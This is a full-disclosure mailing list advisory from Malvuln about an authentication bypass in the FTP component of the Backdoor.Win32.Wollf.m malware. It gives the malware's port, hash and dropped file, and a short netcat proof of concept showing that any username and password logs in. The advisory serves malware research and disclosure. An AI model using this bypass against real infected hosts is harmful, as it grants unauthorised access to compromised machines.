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List:       full-disclosure
Subject:    [FD] Backdoor.Win32.Wollf.m / Authentication Bypass
From:       malvuln <malvuln13 () gmail ! com>
Date:       2021-12-31 8:27:32
Message-ID: CAAHK0WTW_nsWED3S-1=2DNii+dJAc5cLdLxFHyPPBJSbt7hebQ () mail ! gmail ! com
[Download RAW message or body]

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 55555 and runs with SYSTEM
integrity. The malware has an FTP component that can be enabled using the
FTPD command. Third-party attackers who can reach the server can logon
using any username password combination.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325
Vuln ID: MVID-2021-0436
Dropped files: wrm.exe
Disclosure: 12/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.


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Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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